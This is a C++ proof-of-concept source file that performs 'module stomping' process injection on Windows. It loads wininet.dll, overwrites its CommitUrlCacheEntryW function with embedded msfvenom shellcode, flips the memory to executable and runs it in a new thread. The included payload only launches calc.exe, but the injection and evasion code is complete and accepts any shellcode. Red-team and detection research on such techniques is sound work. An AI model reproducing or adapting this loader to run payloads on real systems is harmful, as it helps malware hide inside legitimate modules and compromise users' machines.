/* * Local module stomping: load a sacrificial DLL into the process memory, locate a function to stomp (it'll be within the .text section, this is lazy) * & inject calc.exe msfvenom shellcode into the target buffer, toggling the memory protection between RW and RWX * shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread * compile: cl.exe local-stomp.cpp /W0 /D"UNICODE" /D"_UNICODE" */ #include #include int main() { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; // Retrieve the current process ID DWORD pid = 0; pid = GetCurrentProcessId(); if(pid == 0) { printf("[ERROR] Failed to obtain current process ID!\n"); return -1; } printf("[*] Running PI with target PID: %u\n", pid); // Open a handle to the current process, this must be passed to VirtualAllocEx HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid)); if(pHandle == NULL) { printf("Failed to acquire process handle!\n"); return -1; } printf("[*] Successfully opened handle to PID: %u\n", pid); // load sacrificial DLL, using wininet because it is fairly large and so it can accomodate different PoC payloads HMODULE hSacrificialDll = LoadLibraryExA("wininet.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); if (hSacrificialDll == NULL) { printf("[ERROR] Failed to obtain DLL handle! Error: %lu\n", GetLastError()); return -1; } printf("[*] Target DLL loaded.\n"); LPVOID bufferAddress = (LPVOID)GetProcAddress(hSacrificialDll, "CommitUrlCacheEntryW"); if (bufferAddress == NULL) { printf("[ERROR] Failed to locate target function CommitUrlCacheEntryW! Error: %lu\n", pid, GetLastError()); return -1; } printf("[*] Target wininet.dll!CommitUrlCacheEntryW located at: : 0x%016llx\n", bufferAddress); // Write the shellcode to the block of memory that we allocated with VirtualAllocEx BOOL writeShellcode = WriteProcessMemory(pHandle, bufferAddress, buf, sizeof buf, NULL); if(writeShellcode == false) { printf("[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); FreeLibrary(hSacrificialDll); return -1; } // Update the memory protection value to RWX DWORD lpOldProtect = NULL; BOOL updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_EXECUTE_READWRITE, &lpOldProtect); if(updateMemoryProtection == false) { printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); VirtualFree(bufferAddress, 0, MEM_RELEASE); return -1; } // Create a new thread using the shellcode buffer address as the starting point HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL); if (tHandle == NULL) { printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError()); FreeLibrary(hSacrificialDll); return -1; } // Wait for the thread to return - not required, but it definitely makes the demonstration much cleaner printf("[*] Waiting for the thread to return...\n"); WaitForSingleObject(tHandle, INFINITE); // Update the memory protection value from RWX to RW updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect); if(updateMemoryProtection == false) { printf("[ERROR] Failed to update memory protection (toggling back to RW)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); FreeLibrary(hSacrificialDll); return -1; } // Clean up open handles and free the shellcode buffer memory CloseHandle(pHandle); CloseHandle(tHandle); FreeLibrary(hSacrificialDll); printf("[*] Process injection complete.\n"); return 0; }